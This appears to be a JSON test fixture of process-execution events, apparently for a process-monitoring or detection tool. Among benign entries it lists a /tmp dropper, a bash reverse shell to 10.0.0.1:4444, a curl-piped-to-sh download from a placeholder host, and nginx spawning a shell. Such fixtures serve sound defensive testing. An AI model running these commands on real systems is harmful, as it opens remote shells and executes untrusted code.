[
  {
    "pid": 1001,
    "ppid": 1,
    "uid": 1000,
    "parent_comm": "bash",
    "filename": "/tmp/.x/dropper",
    "argv": []
  },
  {
    "pid": 1002,
    "ppid": 1001,
    "uid": 1000,
    "parent_comm": "bash",
    "filename": "/bin/bash",
    "argv": ["-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"]
  },
  {
    "pid": 1003,
    "ppid": 55,
    "uid": 33,
    "parent_comm": "nginx",
    "filename": "/bin/sh",
    "argv": ["-c", "id"]
  },
  {
    "pid": 1004,
    "ppid": 1000,
    "uid": 1000,
    "parent_comm": "bash",
    "filename": "/bin/sh",
    "argv": ["-c", "curl http://example.invalid/x | sh"]
  },
  {
    "pid": 1005,
    "ppid": 99,
    "uid": 1000,
    "parent_comm": "cron",
    "filename": "/opt/custom/tool",
    "argv": ["danger", "now"]
  },
  {
    "pid": 1006,
    "ppid": 1,
    "uid": 1000,
    "parent_comm": "bash",
    "filename": "/usr/bin/ls",
    "argv": ["-la"]
  }
]